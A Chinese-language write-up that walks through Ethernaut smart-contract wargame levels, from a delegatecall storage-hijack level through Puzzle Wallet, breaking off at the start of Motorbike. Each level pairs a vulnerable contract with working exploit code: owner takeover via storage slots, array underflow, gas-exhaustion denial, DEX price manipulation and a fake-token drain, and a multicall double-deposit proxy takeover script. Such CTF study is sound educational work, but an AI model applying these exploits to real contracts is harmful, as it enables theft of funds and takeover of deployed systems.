// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

分析

该合约使用LibraryContract存储了两个不同的时间,都是使用delegatecall执行的,仅仅借用了LibraryContract中的setTime函数;

// delegatecall
A ----------call----------> B ----------delegatecall----------> C
                     msg.sender = A                  ****msg.sender = A****
                     msg.data = A给的                     msg.data = A给的
                     变量的变化 = 仅C中的变量变化            变量的变化 = 仅B中的变量变化

在Remix中部署demo调用一遍发现和合约想要实现的效果不太一样:

image-20250201035401028

执行setFirstTime时,storedTime并没有变化,变化的只有timeZone1Library

image-20250201035536676

同样的,执行setSecondTime后,变化的只有timeZone1Library

image-20250201035632698

发现LibraryContract中只有一个状态变量,会不会delegatecall改变状态变量时,只会根据"工具合约"(也就是上面的C合约)的slot布局来更改?

写个demo看一下:

image-20250201040325328

所以,我们只需写一个合约,还原目标合约的布局,然后将owner更改为自己的地址即可;

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exp{
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    function setTime(uint256 _time) public {
        owner = msg.sender;
    }
}

首先将timeZone1Library改为我们的exp合约地址,然后再调用其即可;

image-20250201040937798

image-20250201041120705

Level_17.Recovery

要求:

从失去地址的合约中获得0.001ETH;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
    //generate tokens
    function generateToken(string memory _name, uint256 _initialSupply) public {
        new SimpleToken(_name, msg.sender, _initialSupply);
    }
}

contract SimpleToken {
    string public name;
    mapping(address => uint256) public balances;

    // constructor
    constructor(string memory _name, address _creator, uint256 _initialSupply) {
        name = _name;
        balances[_creator] = _initialSupply;
    }

    // collect ether in return for tokens
    receive() external payable {
        balances[msg.sender] = msg.value * 10;
    }

    // allow transfers of tokens
    function transfer(address _to, uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] = balances[msg.sender] - _amount;
        balances[_to] = _amount;
    }

    // clean up after ourselves
    function destroy(address payable _to) public {
        selfdestruct(_to);
    }
}

分析

该合约是个工厂合约,只有Recovery的地址,但生成的Token合约地址却不知道,需要找回丢失的ETH;

找回丢失的ETH简单,只需要知道生成的Token合约地址,然后调用destroy即可,问题是不清楚合约地址;

首先有个简单的方法就是查询交易,其中有生成的Token合约地址:

image-20250202000636095

还有一种方法是计算,之前学Solidity时,创建合约时,地址是可以预测的;

这边是Create(没有salt),所以其生成地址的方法Keccak256(RLP.encode(Creator_address, nonce))

RLP编码

RLP Encode-Ethereum Docs

  • 单个String

    • 0 ~ 55 bytes long
      • bytes1(0x80 + string_length) + string
      • WZM
      • [0x80 + 3] + [string]
    • more than 55 bytes long
      • bytes1(0xB7 + len(string_length)) + string_length + string
      • 一个1024字节的string
      • [0xB7 + 2(后面的0x0400长度为2)] + [0x0400] + [string]
  • 单个字节

    • 直接编码
    • the byte '\x0f' = [ 0x0f ]
  • 单个正整数

    • 编码成字节码,然后根据上面两个转换
    • 12 --> '\x0c' --> [ 0x0C ]
    • 1024 --> '\x04\x00' --> [0x80 + 2, 0x04, 0x00]
  • total payload

    • 0 ~ 55 bytes long
      • bytes1(0xC0 + payload_length) + payload
      • [ "cat", "dog" ]
      • [ 0xc8(后面一共8个), 0x83(cat长度为3), 'c', 'a', 't', 0x83(dog长度为3), 'd', 'o', 'g' ]
    • more than 55 bytes long
      • bytes1(0xF7 + len(payload_length)) + payload_length + payload

这边的nonce是创建者的交易数目,这边创建时应该为0x1(之前有一个创建自身的交易为0x0);

这边的RLP构造为:

0xC0 + hex(1 + 20 + 1) --> 1 byte --> payload总长度

0x80 + hex(20) --> 1 byte --> 地址string的长度

address() --> 20 byte --> 地址

0x01 --> 1 byte --> 当前nonce

所以生成的地址用solidity应该这么写:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exp{
    function getHash() public returns (address){
        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(0x9b42CFb0A6d6E200991967424131d9C0b262Fe3D), bytes1(0x01))))));
    }
}

image-20250202012639989

和交易记录中的哈希一样;

攻击

得到地址后直接调用destroy取回ETH即可;

image-20250202012940755

有名字,地址没错;

取回:

image-20250202013059792

Level_18.MagicNumber

要求:

使用10字节以内的大小写一个solver contract;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {
    address public solver;

    constructor() {}

    function setSolver(address _solver) public {
        solver = _solver;
    }

    /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
    */
}

分析

需要用EVM的字节码写出一个合约,其中有一个whatIsTheMeaningOfLife()函数需要返回正确的32字节数字;

没咋清楚,因为看代码完全不需要写一个Slover合约,直接写个calldata调用setSolver就行了,而且这个whatIsTheMeaningOfLife()也不知道是干啥的;

反编译合约也没什么线索:

// Decompiled by library.dedaub.com
// 2025.02.04 10:35 UTC
// Compiled using the solidity compiler version 0.8.12


// Data structures and variables inferred from the use of storage instructions
address _solver; // STORAGE[0x0] bytes 0 to 19

function fallback() public payable { 
    revert();
}

function setSolver(address newSolver_) public payable { 
    require(msg.data.length - 4 >= 32);
    _solver = newSolver_;
}

function solver() public payable { 
    return _solver;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__( function_selector) public payable { 
    MEM[64] = 128;
    require(!msg.value);
    if (msg.data.length >= 4) {
        if (0x1f879433 == function_selector >> 224) {
            setSolver(address);
        } else if (0x49a7a26d == function_selector >> 224) {
            solver();
        }
    }
    fallback();
}

继续查查部署该合约时的代码,地址0x2132C7bc11De7A90B87375f282d36100a29f97a9,注意到这个函数:

function 0xd38def5b(address varg0, address varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    v0, v1 = varg0.solver().gas(msg.gas);
    require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v1 == address(v1));
    v2, v3 = address(v1).staticcall(uint32(0x650500c1)).gas(msg.gas);
    require(bool(v2), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    if (v3 == 42) {
        if (v1.code.size <= 10) {
            v4 = v5 = 1;
        } else {
            v4 = v6 = 0;
        }
    } else {
        v4 = v7 = 0;
    }
    return bool(v4);
}

其中v2, v3 = address(v1).staticcall(uint32(0x650500c1)).gas(msg.gas);调用一个方法获得的值存在v3;

然而Keccak256("whatIsTheMeaningOfLife()") >> 224的值就为650500c1

if (v3 == 42) {所以数字就为42;

if (v1.code.size <= 10) {这边是在检查合约代码长度;

捋一下逻辑,就是这个solver是我们部署的合约地址,其中有whatIsTheMeaningOfLife()这个函数,然后调用题目合约调用setSolver即可;

所以现在我们只需写一个小于10字节且包含指定函数的合约,如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exp{
    function whatIsTheMeaningOfLife() public returns (uint256) {
        return 42;
    }
}

运行时字节码

先写运行时的字节码,只要这部分不超过10字节即可;

返回一个值会用到RETURN,但它需要两个参数:

  1. offset: byte offset in the memory in bytes, to copy what will be the return data of this context.
  2. size: byte size to copy (size of the return data).

所以我们得先将42存到内存中,这就需要用到MSTORE,它也需要两个参数:

  1. offset: offset in the memory in bytes.
  2. value: 32-byte value to write in the memory.

所以,可以这么写:

// 由于是栈结构,所以参数从右往左push
// 存储0x2a到内存中
PUSH 0x2a // value
PUSH 0x80 // offset,这边的位置可以随便选,选0x80是因为Solidity Memory中0x80才是真正的开始
MSTORE
// 返回值
PUSH 0x20 // size
PUSH 0x80 // offset
RETURN

602a60805260206080f3正好10字节;

部署代码

部署代码需要将运行时代码返回给EVM;

可以用CODECOPY,它有三个参数:

  1. destOffset: byte offset in the memory where the result will be copied.
  2. offset: byte offset in the code to copy.
  3. size: byte size to copy.

所以可以这么写:

PUSH 0xa // size
PUSH 0xc // offset,此处需要计算运行时代码的开头在整个字节码的哪
PUSH 0x00// desOffset,查看其他合约部署的代码基本在0x00位置
CODECOPY
PUSH 0xa // size
PUSH 0x00// offset
RETURN

所以整个字节码就是600a600c600039600a6000f3602a60805260206080f3

这边可以不用搞函数选择器,直接进来就是运行返回值;

攻击

image-20250204211418589

Level_19.Alien Codex

要求:

获得合约的所有权;

合约:

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() internal {
        _owner = msg.sender;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(isOwner(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Returns true if the caller is the current owner.
     */
    function isOwner() public view returns (bool) {
        return msg.sender == _owner;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * > Note: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     */
    function _transferOwnership(address newOwner) internal {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

分析

题目提示需要了解动态数组在Storage中的存储,并且该合约继承了一个Owner合约,Owner合约有个私有状态变量存储owner

写一个简单的demo就可以发现该题目的Storage布局如下:

Slot序号 内容
Slot0 bool(contact),address(Owner)
Slot1 bytes32[] codex的长度
... ...
Slot(Keccak256(1)) codex[0]
Slot(Keccak256(1)) + 1 codex[1]
... ...
Slot(0xFF..FF) ...

而且注意到编译版本是0.5,那时候动态数组的长度还不是只读的,可以修改;

所以我们只需先makeContact()一下,然后直接调用retract()使数组长度0 - 1变成0xFF..FF,最后计算得到Owner的位置,调用revise()修改即可;

比如Data[]有4个Data,D0,D1,D2,D3;

起始是在D2,则D0是第3个,即Data[2];

计算:4(总元素) - 2(起始元素下标) = 2(需要元素下标)

所以,Slot0的下标就为:0x100..00(64个0) - keccak256(abi.encodePacked(uint256(1))

计算出来为0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a;

攻击

image-20250206221913776

看看上面计算的地址是不是存放Owner的位置:

image-20250206222018012

修改为自己的地址:0x000000000000000000000001 + 7148C25A8C78b841f771b2b2eeaD6A6220718390,前半是contact,后半是自己地址;

image-20250206222333129

Level_20.Denial

要求:

在合约中有钱的情况下,使owner不能取款;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

分析

重点就在withdraw()这个函数,无论partner.call{value: amountToSend}("");这句是否执行成功,payable(owner).transfer(amountToSend);都会执行,除非gas费用耗尽;

所以我们只需实现一个合约,将其设置为partner,其中receive()中实现一个无限循环;

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exp{
    receive() external payable { 
        while(true){}
    }
}

将其部署,并设置成partner即可;

Level_21.Shop

要求:

以很低的价格购买到商品;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

分析

和之前的一关一样,利用isSold来控制price的返回值,注意这边price()view的,所以只能通过控制流来实现;

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ethernaut.sol";

contract Exp is Buyer{
    Shop shop;
    constructor(address addr){
        shop = Shop(addr);
    }
    function price() external view override returns (uint256){
        if (shop.isSold() == false){
            return 100;
        } else {
            return 0;
        }
    }
    function Attack() public {
        shop.buy();
    }
}

image-20250207002552644

Level_22.Dex

要求:

操纵价格获得所有的Token1或Token2;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract Dex is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function addLiquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapPrice(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableToken(token1).approve(msg.sender, spender, amount);
        SwappableToken(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableToken is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

分析

我们各有10个Token1和Token2,需要获得DEX中所有的Token1和Token2;

其余函数都挺正常,只有从getSwapPrice()下手;

计算交换价格的方式可以理解为:数额 * 交易所当前另一个币的数量 / 交易所当前该币数量

就比如,当前交易所有10个A和10个B,我手中有5个A,我想换成B,交换价格为5 * 10 / 10 = 5,则交易所只需给我5个B即可;

但当我又想换手中的BA时,此时的交换价格为5 * 15 / 5 = 15,即我从交易所那获得了15个A

这样一交换,我赚了10个A

通过上面这个例子,我们就可以以相同的手法来置换出交易所中的所有币;

当前操作 用户Token1数量 用户Token2数量 交易所Token1数量 交易所Token2数量 置换数量
10 10 100 100
swap(t1, t2, 10) 10 - 10 = 0 10 + 10 = 20 100 + 10 = 110 100 - 10 = 90 10 * 100 / 100 = 10
swap(t2, t1, 20) 0 + 24 = 24 20 - 20 = 0 110 - 24 = 86 90 + 20 = 110 20 * 110 / 90 = 24
swap(t1, t2, 24) 24 - 24 = 0 0 + 30 = 30 86 + 24 = 110 110 - 30 = 80 24 * 110 / 86 = 30
swap(t2, t1, 30) 0 + 41 = 41 30 - 30 = 0 110 - 41 = 69 80 + 30 = 110 30 * 110 / 80 = 41
swap(t1, t2, 41) 41 - 41 = 0 0 + 65 = 65 69 + 41 = 110 110 - 65 = 45 41 * 110 / 69 = 65
swap(t2, t1, 65)(舍弃) 0 + 158(上溢) 65 - 65 = 0 110 - 158(下溢) 45 + 65 = 110 65 * 110 / 45 = 158
swap(t2, t1, 45) 0 + 110 = 110 65 - 45 = 20 110 - 110 = 0 45 + 45 = 90 45 * 110 / 45 = 110

可以看出,通过上面6步,可以仅通过45个Token2置换出所有Token1;

攻击

由于我们是通过题目合约进行操作,所以我们得先approve合约足够的allowance:

image-20250208003052936

之后按照上面一点一点置换,最后查询余额:

image-20250208003538166

Level_23.Dex Two

要求:

获得所有的Token1和Token2;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract DexTwo is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function add_liquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapAmount(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
        SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableTokenTwo is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

分析

该合约与Dex不同之处:

// Dex
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
    return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function swap(address from, address to, uint256 amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint256 swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

// Dex Two
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
    return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function swap(address from, address to, uint256 amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint256 swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

Dex Two没有检测Token的地址,那就很简单了,我们只需自己搞一个Token,给交易所1个,我们自己3个即可;

当前操作 Dex的Token1 Dex的Token2 Dex的EXP 用户的Token1 用户的Token2 用户的EXP
100 100 1 10 10 3
swap(EXP, T1, 1) 0 100 2 110 10 2
swap(EXP, T2, 2) 0 0 4 110 110 0

攻击

自己实现一个ERC20Token:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Exp is ERC20{
    constructor(address addr) ERC20("ExpToken", "EXP"){
        _mint(msg.sender, 3);
        _mint(addr, 1);
    }
}

部署完成同样先给交易所approve:

image-20250212002530830

给交易所approve我们自己的Token:

image-20250212005455002

置换Token1:

image-20250212005302335

置换Token2:

image-20250212005404385

Level_24.Puzzle Wallet

要求:

劫持代理合约,获得代理合约的控制权;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData)
        UpgradeableProxy(_implementation, _initData)
    {
        admin = _admin;
    }

    modifier onlyAdmin() {
        require(msg.sender == admin, "Caller is not the admin");
        _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted() {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
        require(address(this).balance == 0, "Contract balance is not 0");
        maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
        require(address(this).balance <= maxBalance, "Max balance reached");
        balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success,) = to.call{value: value}(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success,) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

分析

该题目使用了代理模式,首先得搞清楚给的地址是proxy contract还是logic contract,正常应该是给proxy的,因为是proxy通过delegatecall来调用logic contract中实现的函数;

但在控制台中只看到了logic contract中的函数:

image-20250212225805424

但仔细一想,逻辑根本不通(哪有逻辑合约调用代理合约的,而且根本没有接口),所以查看了一下创建实例的合约:

function createInstance(address _player ) public payable override returns (address) {
    require(msg.value == 0.001 ether, "Must send 0.001 ETH to create instance");

    // deploy the PuzzleWallet logic
    PuzzleWallet walletLogic = new PuzzleWallet();

    // deploy proxy and initialize implementation contract
    bytes memory data = abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether);
    PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data);
    PuzzleWallet instance = PuzzleWallet(address(proxy));

    // whitelist this contract to allow it to deposit ETH
    instance.addToWhitelist(address(this));
    instance.deposit{value: msg.value}();

    return address(proxy);
}

果然返回的是代理合约地址;

由于代理模式使用的是delegatecall,所以来回顾一下:

// delegatecall
我 ----------call----------> proxy ----------delegatecall----------> logic
                     msg.sender = 我                  ****msg.sender = 我****
                     msg.data = 我给的                     msg.data = 我给的
                                                      变量的变化 = 仅proxy中的变量变化
若logic合约和proxy合约的状态变量不一致,最终修改的是proxy合约中的slot

该题的最终目的是将proxy中的状态变量admin变成我们的地址,即调用setMaxBalance()修改maxBalance

  1. 首先先将自己加入白名单,不然函数都调用不了;

需要将wallet中的owner变成自己的地址,但wallet中没可用的函数,但是可以调用proxy中的processNewAdmin()修改pendingAdmin,相当于修改owner

最后调用addToWhitelist()将自己加入白名单;

  1. 调用setMaxBalance()前调用前需要将余额清零;

合约上有0.001ETH,需要调用execute()来扣款,但是映射balances中我们地址的记录为0,所以需要调用deposit()来增加映射中的值,但这样合约的余额就会增加,明显是不行的;

但是我们可以调用multicall(),构造一个calldata,先使用deposit()传入0.002ETH,但只携带0.001ETH,这样映射balance和余额就全为0.002ETH了,之后再调用execute()来扣款;

测试例子:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Test {
    mapping(address => uint256) public balances;
    
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function multicall() external payable returns (bool) {
        (bool success_1, ) = address(this).delegatecall(abi.encodeWithSignature("deposit()"));
        (bool success_2, ) = address(this).delegatecall(abi.encodeWithSignature("deposit()"));
        if(success_1 && success_2){
            return true;
        } else {
            return false;
        }
    }
}

一开始余额为0:

image-20250216152741437

携带1ETH并调用multicall(),合约余额变为1ETH,账户balance变为2ETH:

image-20250216152918168

但真正的multicall()中有个depositCalled来控制每次只能执行一次deposit();我们可以在一个multicall()中分别调用两次multicall(deposit())

multicall([multicall(deposit()), multicall(deposit())]);
  1. 构造calldata
// deposit的calldata
bytes[] memory deposit_data = new bytes[](1);
deposit_data[0] = abi.encodeWithSignature("deposit()");

// multicall的calldata
bytes[] memory multicall_data = new bytes[](2);
multicall_data[0] = multicall_data[1] = abi.encodeWithSignature("multicall(bytes[])", deposit_data);
  1. 取款,并设置admin

最后就是设置maxBalance为我们的地址,即admin;

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

contract PuzzleProxy {
    // owner
    address public pendingAdmin;
    // maxBalance
    address public admin;

    function proposeNewAdmin(address _newAdmin) external {}

    function approveNewAdmin(address _expectedAdmin) external {}

    function upgradeTo(address _newImplementation) external {}

    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function setMaxBalance(uint256 _maxBalance) external {}

    function addToWhitelist(address addr) external {}

    function deposit() external payable {}

    function execute(address to, uint256 value, bytes calldata data) external payable {}

    function multicall(bytes[] calldata data) external payable {}
}

搞一个简化版合约在Remix使用At Address来快速调用函数;

为了方便,直接使用Remix手动调用函数,就不必部署一个攻击合约了(写在最后,可供参考);

加白名单:

image-20250212233624466

image-20250212233855950

传入参数调用multicall

["0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000",
"0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000"]

在Remix中,bytes传参必须得在数据前加",不然会失败;

image-20250216185545224

取款:

image-20250216190121576

设置admin:

image-20250216190249868

自动化脚本:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Ethernaut.sol";

contract Exp {
    function Attack(address addr) public payable {
        PuzzleProxy pp = PuzzleProxy(addr);

        pp.proposeNewAdmin(address(this));
        pp.addToWhitelist(address(this));

        // deposit的calldata
        bytes[] memory deposit_data = new bytes[](1);
        deposit_data[0] = abi.encodeWithSignature("deposit()");

        // multicall的calldata
        bytes[] memory multicall_data = new bytes[](2);
        multicall_data[0] = multicall_data[1] = abi.encodeWithSignature("multicall(bytes[])", deposit_data);

        // 调用multicall
        pp.multicall{value: 0.001 ether}(multicall_data);

        // 取款
        pp.execute(msg.sender, 0.002 ether, "");

        require(address(pp).balance==0, "balance not 0");

        // 设置admin
        pp.setMaxBalance(uint256(uint160(msg.sender)));

        require(pp.admin() == msg.sender, "set error");

        selfdestruct(payable(msg.sender));
    }
}

Level_25.Motorbike

要求:

销毁引擎;

合约:

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
